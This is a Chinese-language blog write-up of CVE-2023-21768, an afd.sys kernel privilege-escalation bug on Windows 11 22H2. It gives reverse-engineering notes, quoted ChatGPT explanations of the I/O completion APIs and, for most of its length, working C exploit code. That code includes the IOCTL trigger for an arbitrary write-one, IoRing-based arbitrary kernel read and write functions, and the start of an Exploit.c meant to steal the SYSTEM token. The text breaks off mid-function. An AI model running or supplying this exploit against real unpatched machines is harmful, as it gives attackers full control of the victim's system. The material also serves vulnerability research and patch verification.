当前位置: 首页 > 内核, 漏洞 > 正文

CVE-2023-21768 Windows内核提权漏洞

1.简介

此漏洞并不是很难,主要是afd.sys这个驱动文件存在任意地址写入漏洞,利用这个漏洞再结合高版本Windows系统所特有的IoRing就能达到提权的目的。

2.环境搭建

镜像:Windows 11 22H2

下载地址:ed2k://|file|zh-cn_windows_11_consumer_editions_version_22h2_updated_nov_2022_x64_dvd_2c7e96c3.iso|5673539584|EB8FF2B481BB6AFE71B2784C6485733B|/

编译环境:Visual Studio 2022(SDK 10.0.22621.0)

调试工具:WinDbg,Ida

我们先使用exp来测试一下:

3.漏洞原理:

在afd.sys中的AfdNotifyRemoveIoCompletion函数中存在下图所选中的代码,通过逆向分析这里的a3+24是个地址,这个地址可以在3环让我们控制,而v20则是在IoRemoveIoCompletion内部进行赋值1

这里的v10就是IoRemoveIoCompletion的参数v20。似乎返回的不是0就是1.所以我们只需要在3环指定地址,就可以给指定地址赋1.从而达到任意地址写。所以首先我们要到达漏洞点。

4.到达漏洞点。

经过分析,发现调用链是AfdFastIoDeviceControl->AfdImmediateCallDispatch->AfdNotifySock->AfdNotifyRemoveIoCompletion->漏洞点。

其中AfdImmediateCallDispatch是一张表,AfdNotifySock在这张表中,下标是73

结合上面两张图,我们就确定了v64的值是73,进而确定a7的值为12127h,所以我们知道了控制码为0x12127。紧接着就是分析AfdNotifySock这个函数,我们写个代码看看是否能进入AfdNotifySock。

#include<Windows.h>

struct IO_STATUS_BLOCK
{
    union
    {
        DWORD Status;
        PVOID Pointer;
    };

    DWORD* Information;
};

struct UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
};

struct OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING* ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
};

DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

#define AFD_NOTIFYSOCK_IOCTL 0x12127

int main()
{
    // get NtDeviceIoControlFile function ptr
    NtDeviceIoControlFile = (unsigned long(__stdcall*)(void*, void*, void*, void*, struct IO_STATUS_BLOCK*, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDeviceIoControlFile");
    if (NtDeviceIoControlFile == NULL)
    {
        return 1;
    }

    // get NtCreateFile function ptr
    NtCreateFile = (unsigned long(__stdcall*)(void**, unsigned long, struct OBJECT_ATTRIBUTES*, struct IO_STATUS_BLOCK*, union _LARGE_INTEGER*, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateFile");
    if (NtCreateFile == NULL)
    {
        return 1;
    }


    IO_STATUS_BLOCK IoStatusBlock;
    HANDLE hEvent = NULL;
    HANDLE hSocket = NULL;
    OBJECT_ATTRIBUTES ObjectAttributes;
    UNICODE_STRING ObjectFilePath;
    DWORD dwStatus = 0;
    BYTE bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };

    char Data[0x30] = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLL";

    // create status event
    hEvent = CreateEvent(NULL, 0, 0, NULL);
    if (hEvent == NULL)
    {
        // error
        return 1;
    }

    // set afd endpoint path
    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    // initialise object attributes
    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    // create socket handle
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
    if (dwStatus != 0)
    {
        // error
        CloseHandle(hEvent);

        return 1;
    }

    /*
    __kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
      [in]            HANDLE           FileHandle,
      [in, optional]  HANDLE           Event,
      [in, optional]  PIO_APC_ROUTINE  ApcRoutine,
      [in, optional]  PVOID            ApcContext,
      [out]           PIO_STATUS_BLOCK IoStatusBlock,
      [in]            ULONG            IoControlCode,
      [in, optional]  PVOID            InputBuffer,
      [in]            ULONG            InputBufferLength,
      [out, optional] PVOID            OutputBuffer,
      [in]            ULONG            OutputBufferLength
    );
    */
    NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);


    if (INVALID_HANDLE_VALUE != hSocket)
    {
        CloseHandle(hSocket);
    }

    if (NULL != hEvent)
    {
        CloseHandle(hEvent);
    }
}

进行调试断在了AfdNotifySock函数入口处。如下图

可以发现r9这个地址就是我们所传入的数据。接下来是个判断

所以inputbufferlength=0x30,outbufferlength=0,outbuffer=0

接下来继续判断

根据上图,我们可以判断出data或者inputbuffer是一个结构体

typedef struct AFD_NOTIFYSOCK_DATA
{
    HANDLE HandleIoCompletion;
    PVOID pData1;
    PVOID pData2;
    PVOID pPwnPtr;
    DWORD dwCounter;
    DWORD dwTimeout;
    DWORD dwLen;
    char lol[0x4];
}AFD_NOTIFYSOCK_DATA;

如果要到达漏洞点,则必须要v10>=0,即ObReferenceObjectByHandle不能返回0。

ObReferenceObjectByHandle函数介绍如下

问:如果第三个参数是IoCompletionObjectType呢 这个对象类型的句柄可以调用什么函数来创建
答:IO完成对象是Windows内核中的一种同步机制,它用于通知应用程序有关操作完成的消息。IO完成对象是由操作系统内核自动创建和管理的,因此没有专门的函数来创建它们。在Windows操作系统中,可以使用CreateIoCompletionPort函数将IO完成端口与文件句柄关联,从而将IO操作通知到IO完成对象中。关联之后,可以使用GetQueuedCompletionStatus函数等待IO完成对象,以获取IO操作完成的状态和相关数据。因此,IO完成对象的句柄实际上是IO完成端口的句柄,可以使用CreateIoCompletionPort函数创建。
 
CreateIoCompletionPort是Win32 API之一,底层实现是由Windows内核的NTOSKRNL.EXE模块提供支持,具体实现可参考Windows Driver Kit(WDK)提供的内核模式驱动开发文档。其底层函数是NtCreateIoCompletion,该函数是内核发起IO请求的函数之一,用于创建IO完成端口对象并返回其句柄。它的定义如下:
 
```C
NTSYSAPI
NTSTATUS
NTAPI
NtCreateIoCompletion(
_Out_ PHANDLE IoCompletionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG NumberOfConcurrentThreads
);
```
 
其中,
 
- IoCompletionHandle:用于返回IO完成端口对象的句柄。
- DesiredAccess:指定IO完成端口对象的访问权限。
- ObjectAttributes:用于指定IO完成端口对象的名称及其属性。
- NumberOfConcurrentThreads:指定IO请求的并发线程数。

所以我们针对获取IoCompleteObject句柄,我们需要先创建一个完成对象,以便于返回>=0,进入if语句。

我们接着来看看if语句内部

这里需要跳出循环,即可进入AfdNotifyRemoveIoCompletion,所以我们把dwCounter循环次数设置为1。

随后就执行到了AfdNotifyRemoveIoCompletion,函数内部有几处需要注意的地方。

首先dwLen不能为0,所以我们置1,置1is_mul_ok返回0,接着设置v8,进入if语句

这里v8只能为0,我们查查IoRemoveIoCompletion这个函数。

`IoRemoveIoCompletion`是Windows Driver Kit(WDK)提供的函数,用于将已完成的I/O操作从I/O完成端口的完成队列中移除并返回。
 
该函数的原型如下:
 
```c
NTSTATUS IoRemoveIoCompletion(
HANDLE CompletionPortHandle,
PVOID *KeyContext,
PVOID *ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER Timeout
);
```
 
其中,参数的含义如下:
 
- `CompletionPortHandle`:对应I/O完成端口的句柄。
- `KeyContext`:指向指针的指针,用于获取与已完成I/O操作相关联的关键上下文。
- `ApcContext`:指向指针的指针,用于获取与已完成I/O操作相关联的应用程序上下文。
- `IoStatusBlock`:指向`IO_STATUS_BLOCK`结构的指针,用于获取已完成I/O操作的状态信息。
- `Timeout`:可选参数,指向`LARGE_INTEGER`结构的指针,用于指定函数等待的超时时间。如果为`NULL`,函数将不会等待,并立即返回。
 
该函数用于从I/O完成端口的完成队列中删除已完成的I/O操作并获取相关信息,以便驱动程序进行后续处理,例如通知相关进程/线程或启动下一轮I/O操作。
 
需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。

所以我们需要进行已完成的IO操作添加到IO端口的完成队列中。如何才能添加呢,ChatGpt解释如下:

问:如何向I/O完成端口的完成队列中添加已完成的I/O操作,有那些函数
 
答:
在Windows平台下,如果您想要向I/O完成端口的完成队列中添加已完成的I/O操作,您可以使用以下函数:
 
1. `NtSetIoCompletion`:该函数是Windows系统调用之一,可将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于用户模式程序使用的I/O完整端口。
 
2. `IoSetIoCompletion`:该函数是Windows驱动程序开发包(WDK)中的一部分,与`NtSetIoCompletion`函数相似。驱动程序可以使用该函数将I/O操作添加到指定的I/O完成端口的完成队列中。该函数适用于驱动程序中使用的I/O完整端口。
 
这两个函数的作用类似,它们都用于将已完成的I/O操作添加到指定的I/O完成端口的完成队列中。这些函数调用后,I/O管理器将在IRP的调用线程上调用已完成I/O请求的完成例程。
 
需要注意的是,I/O完成端口及其相关的函数和结构体只适用于Windows操作系统。如果您在使用其他操作系统,可能需要查找其他方法来管理已完成的I/O操作。

所以我们使用NtSetIoCompletion进行添加,使IoRemoveIoCompletion返回0.

NtSet IoCompletion介绍

NtSetIoCompletion 是 Windows 操作系统内核中的一个函数,用于向 I/O 完成端口的完成队列中添加一个 I/O 完成包。该函数通常在内核模式下使用,用于驱动程序或其他内核组件实现异步 I/O 操作。
 
NtSetIoCompletion 函数的原型如下:
 
scss
Copy code
NTSTATUS NtSetIoCompletion(
  HANDLE        CompletionPortHandle,
  ULONG_PTR     CompletionKey,
  PVOID         CompletionContext,
  NTSTATUS      Status,
  ULONG_PTR     Information
);
该函数的输入参数包括:
 
CompletionPortHandle:I/O 完成端口的句柄。
CompletionKey:一个与已完成的 I/O 操作相关联的键值,由驱动程序在创建完成端口时指定。
CompletionContext:一个指向完成操作的上下文数据结构的指针,包含有关已完成的 I/O 操作的信息。
Status:已完成操作的状态,通常是一个 NTSTATUS 类型的值。
Information:与已完成的 I/O 操作相关的信息,通常是一个 ULONG_PTR 类型的值。
NtSetIoCompletion 函数的返回值是 NTSTATUS 类型的错误代码,如果操作成功完成,则返回 STATUS_SUCCESS。
 
使用 NtSetIoCompletion 函数将完成包添加到 I/O 完成端口的完成队列中后,可以使用 IoRemoveIoCompletion 函数从队列中取出完成包并处理已完成的 I/O 操作。这种机制使得驱动程序或其他内核组件能够实现异步 I/O 操作,从而提高系统的响应速度和性能。

所以有以下代码可供到达漏洞点

NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 0x100);
 
Data.HandleIoCompletion = hCompletion;
Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
Data.dwCounter = 0x1;
Data.dwLen = 0x1;
Data.dwTimeout = 1000;
Data.pPwnPtr = &test;

漏洞点已经到达,这里任意地址pPwnPtr为test,而v20则在IoRemoveIoCompletion中被赋值为1.

所以现在我们可以实现任意地址赋1

5 IO Ring

IO Ring,计算机用来在硬件和软件之间传输数据的。之所以叫IO Ring,是因为IO操作最终会形成一个环形队列

与IO Ring相关的操作有这些:

  • IORING_OP_READ:将文件中的数据读入输出缓冲区。对应BuildIoRingReadFile()函数。
  • IORING_OP_CANCEL:请求取消文件的挂起操作。对应BuildIoRingCancelRequest()函数。
  • IORING_OP_REGISTER_FILES:请求文件句柄的预注册以便稍后处理。对应BuildIoRingRegisterFileHandles()函数。
  • IORING_OP_REGISTER_BUFFERS:请求为要读入的文件数据预注册输出缓冲区。对应BuildIoRingRegisterBuffers()函数。
  • IORING_OP_WRITE:将输出缓冲区的数据写入文件。对应BuildIoRingWriteFile()函数。
  • IORING_OP_FLUSH: 刷新操作。对应BuildIoRingFlushFile()函数。

我们可以使用这些api进行文件的读写,其工作原理如下图

貌似是通过申请多个buffer这样的缓冲区,这样决定哪个缓冲区中的数据可以写入文件或者读取。当然也可以提前在缓冲区中写入数据,在需要的时候将数据写入到文件

使用CreateIoRing会创建两个结构体,分别位于用户层和内核层。

_IORING_OBJECT,内核层结构体。

typedef struct _IORING_OBJECT
{
    USHORT Type;                                // 结构体类型
    USHORT Size;                                // 结构体大小
    NT_IORING_INFO UserInfo;                    // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
    PVOID Section;                              // 内存映射文件Section对象的指针
    PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;// 存储IO请求的Submission Queue的指针
    PMDL CompletionQueueMdl;                    // 缓存Completion Queue的MDL的指针
    PNT_IORING_COMPLETION_QUEUE CompletionQueue;// 存储IO请求完成状态的Completion Queue的指针
    ULONG64 ViewSize;                           // 映射视图的大小
    ULONG InSubmit;                             // IO请求的数量
    ULONG64 CompletionLock;                     // 保护计数器的锁,在读取CQring时使用
    ULONG64 SubmitCount;                        // 已提交IO请求SQEs的数量
    ULONG64 CompletionCount;                    // 已完成的IO请求数量
    ULONG64 CompletionWaitUntil;                // 等待完成IO请求的时间,当完成请求缓存区被解锁时使用
    KEVENT CompletionEvent;                     // 内核事件,在IO请求完成时发出
    UCHAR SignalCompletionEvent;                // 是否使用信号量发出完成事件的标志
    PKEVENT CompletionUserEvent;                // 一个与CompletionEvent成分的用户事件。用户可以使用此事件来通知一个或多个等待线程,IO请求已完成。
    ULONG RegBuffersCount;                      // 注册的缓冲区数量
    PVOID RegBuffers;                           // 已注册的缓冲区列表的指针
    ULONG RegFilesCount;                        // (异步)读取操作所涉及的文件句柄的数量
    PVOID* RegFiles;                            // (异步)读取操作所涉及的文件句柄列表的指针
} IORING_OBJECT, *PIORING_OBJECT;

_HIORING结构体,用户层。

typedef struct _HIORING
{
    HANDLE handle;                          // IO环操作对象的句柄
    NT_IORING_INFO Info;                    // 包含IO环信息的结构体,包括IO环的大小、版本、队列大小等详细信息
    ULONG IoRingKernelAcceptedVersion;      // 内核支持的IO环版本号
    PVOID RegBufferArray;                   // 注册缓冲区的指针,用于注册IO缓冲区
    ULONG BufferArraySize;                  // 注册缓冲区的大小
    PVOID Unknown;                          // 未知指针,可能提供额外的信息
    ULONG FileHandlesCount;                 // IO环管理的文件句柄数量
    ULONG SubQueueHead;                     // IO环子队列的头部索引
    ULONG SubQueueTail;                     // IO环子队列的尾部索引
} _HIORING;

上面两个结构体中,有两个成员分别一一对应,其值也是一样的

  • _IORING_OBJECT中的RegBuffers和RegBuffersCount
  • _HIORING的RegBufferArray和BufferArraySize

根据前辈的经验,IO Ring使用的时候可以不需要使用BuildIoRingRegisterFileHandles进行预注册。直接将IoRing->RegBuffers指向我们自己的缓冲区,然后再通过控制列表当中的Address为内核地址,结合读写文件,就可以实现任意内核地址读写,并且不会被探测。

当然由于IoRing->RegBuffers在内核空间中,所以我们可以结合上面的分析,来使用任意地址写1漏洞,来进行IoRing->RegBuffers地址的控制。

而且在Windows 11 22H2版本中,内核层的缓冲区结构不再是相接的平面数据,而是像下面这种结构体。

typedef struct _IOP_MC_BUFFER_ENTRY
{
    USHORT Type;                            // 结构体类型
    USHORT Reserved;                        // 保留字段
    ULONG Size;                             // 结构体大小
    ULONG ReferenceCount;                   // 结构体引用计数
    ULONG Flags;                            // 标志位
    LIST_ENTRY GlobalDataLink;              // 全局数据链接列表
    PVOID Address;                          // 缓冲区的地址
    ULONG Length;                           // 缓冲区的长度
    CHAR AccessMode;                        // 缓冲区的访问模式
    ULONG MdlRef;                           // 缓冲区的MDL引用数
    PMDL Mdl;                               // 缓冲区的MDL
    KEVENT MdlRundownEvent;                 // 缓冲区的MDL结束事件
    PULONG64 PfnArray;                      // 物理页帧号数组的指针
    IOP_MC_BE_PAGE_NODE PageNodes[1];       // 物理页节点数组
} IOP_MC_BUFFER_ENTRY, *PIOP_MC_BUFFER_ENTRY;

使用的时候,需要初始化其中的一些成员

mcBufferEntry->Address = TargetAddress;
mcBufferEntry->Length = Length;
mcBufferEntry->Type = 0xc02;
mcBufferEntry->Size = 0x80; // 0x20 * (numberOfPagesInBuffer + 3)
mcBufferEntry->AccessMode = 1;
mcBufferEntry->ReferenceCount = 1;

任意地址写入

  • 先将value写入文件中
  • 设置好要写入的内核地址TargetAddress
  • 调用BuildIoRingReadFile,读取文件内容到缓冲区中TargetAddress

任意地址读

  • 设置好要读的内核地址TargetAddress
  • 调用BuildIoRingWriteFile,将TargetAddress中的数据写入到文件
  • 读取文件

这样的话,我们就可以读取系统进程的TOKEN并且写入到我们自己的进程中,从而达到内核提权。

EXP

获取指定句柄的对象,主要是通过NtQuerySystemInformation获得。细节如下

int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
    int ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
    ULONG ulBytes = 0;
    NTSTATUS ntStatus = STATUS_SUCCESS;
 
    while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
        }
 
        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }
 
    if (ntStatus != STATUS_SUCCESS)
    {
        ret = ntStatus;
        goto done;
    }
 
    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))
        {
            *ppObjAddr = pHandleInfo->Handles[i].Object;
            ret = 0;
            break;
        }
    }
 
done:
    if (NULL != pHandleInfo)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return ret;
}

任意地址写入

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = (PVOID)pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
 
    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

任意地址读

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };
 
    pMcBufferEntry = (PIOP_MC_BUFFER_ENTRY)VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
 
    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }
 
    pMcBufferEntry->Address = (PVOID)pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;
 
    pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
 
 
 
    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = SubmitIoRing(hIoRing, 0, 0, NULL);
 
    if (0 != ret)
    {
        goto done;
    }
 
    ret = PopIoRingCompletion(hIoRing, &cqe);
 
    if (0 != ret)
    {
        goto done;
    }
 
    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }
 
    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }
 
    ret = 0;
 
done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

Exploit.c

#include <iostream>
#include <windows.h>
#include <ioringapi.h>
#include <ntstatus.h>
#include <winternl.h>
 
#include "structs.h"
#include "win_defs.h"
 
DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
 
 
#define AFD_NOTIFYSOCK_IOCTL 0x12127
#define EPROC_TOKEN_OFFSET 0x4b8
 
namespace CVE_2023_21768
{
    HIORING hIoRing = NULL;
    PIORING_OBJECT pIoRing = NULL;
    HANDLE hInPipe = INVALID_HANDLE_VALUE;
    HANDLE hOutPipe = INVALID_HANDLE_VALUE;
    HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
    HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
    DWORD64 FakeRegBufferAddr = 0x1000000;
    PVOID pFakeRegBuffers = NULL;
    unsigned int FakeRegBuffersCount = 1;
 
    DWORD64 SystemEPROCaddr = 0;
    DWORD64 MyEPROCaddr = 0;
    DWORD64 SystemTokenaddr = 0;
    DWORD64 MyTokenaddr = 0;
 
    DWORD64 test = 0;
}
 
using namespace CVE_2023_21768;
 
 
//漏洞点任意地址写0x1
BOOL ExploitWrite0x1(void* pTargetPtr)
{
    IO_STATUS_BLOCK IoStatusBlock;
    HANDLE hEvent = NULL;
    HANDLE hSocket = NULL;
    HANDLE hCompletion = INVALID_HANDLE_VALUE;
    OBJECT_ATTRIBUTES ObjectAttributes;
    UNICODE_STRING ObjectFilePath;
    DWORD dwStatus = 0;
    BYTE bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };
 
    AFD_NOTIFYSOCK_DATA Data = { 0 };
 
    // create status event
    hEvent = CreateEvent(NULL, 0, 0, NULL);
    if (hEvent == NULL)
    {
        // error
        return FALSE;
    }
 
    // set afd endpoint path
    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;
 
    // initialise object attributes
    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;
 
    // create socket handle
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
    if (dwStatus != 0)
    {
        // error
        CloseHandle(hEvent);
 
        return FALSE;
    }
 
    _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);
    _NtSetIoCompletion(hCompletion, 0, &IoStatusBlock, 0, 1);
 
    Data.HandleIoCompletion = hCompletion;
    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.dwCounter = 0x1;
    Data.dwLen = 0x1;
    Data.dwTimeout = 100000000;
    Data.pPwnPtr = pTargetPtr;
    /*
    __kernel_entry NTSYSCALLAPI NTSTATUS NtDeviceIoControlFile(
      [in]            HANDLE           FileHandle,
      [in, optional]  HANDLE           Event,
      [in, optional]  PIO_APC_ROUTINE  ApcRoutine,
      [in, optional]  PVOID            ApcContext,
      [out]           PIO_STATUS_BLOCK IoStatusBlock,
      [in]            ULONG            IoControlCode,
      [in, optional]  PVOID            InputBuffer,
      [in]            ULONG            InputBufferLength,
      [out, optional] PVOID            OutputBuffer,
      [in]            ULONG            OutputBufferLength
    );
    */
    _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);
 
 
    if (INVALID_HANDLE_VALUE != hCompletion)
    {
        CloseHandle(hCompletion);
    }
    if (INVALID_HANDLE_VALUE != hSocket)
    {
        CloseHandle(hSocket);
    }
 
    if (NULL != hEvent)
    {
        CloseHandle(hEvent);
    }
    if (NULL != Data.pData1)
    {
